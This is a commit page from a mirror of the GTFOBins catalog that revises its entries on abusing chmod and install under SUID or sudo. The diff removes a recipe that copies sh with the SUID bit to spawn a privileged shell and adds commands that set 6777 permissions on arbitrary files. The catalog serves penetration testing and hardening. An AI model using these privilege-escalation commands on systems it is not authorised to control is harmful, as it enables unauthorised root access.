1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 00:06:03 +02:00

Make install similar to chmod

This commit is contained in:
Andrea Cardaci 2020-12-20 21:23:28 +01:00
parent fbe4b42890
commit c80e83c3c5
2 changed files with 8 additions and 7 deletions

View File

@ -1,12 +1,12 @@
---
description: This can be run with elevated privileges to change permissions and then read, write, or execute a file.
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a file.
functions:
suid:
- code: |
LFILE=file_to_change
./chmod 0777 $LFILE
./chmod 6777 $LFILE
sudo:
- code: |
LFILE=file_to_change
sudo chmod 0777 $LFILE
sudo chmod 6777 $LFILE
---

View File

@ -1,13 +1,14 @@
---
description: This can be run with elevated privileges to change permissions (`6` denotes the SUID bits) and then read, write, or execute a copy of the file.
functions:
suid:
- code: |
LFILE=file_to_change
TF=$(mktemp)
install -m 4755 `which sh` $TF
$TF -p
./install -m 6777 $LFILE $TF
sudo:
- code: |
LFILE=file_to_change
TF=$(mktemp)
sudo install -m 4755 `which sh` $TF
$TF -p
sudo install -m 6777 $LFILE $TF
---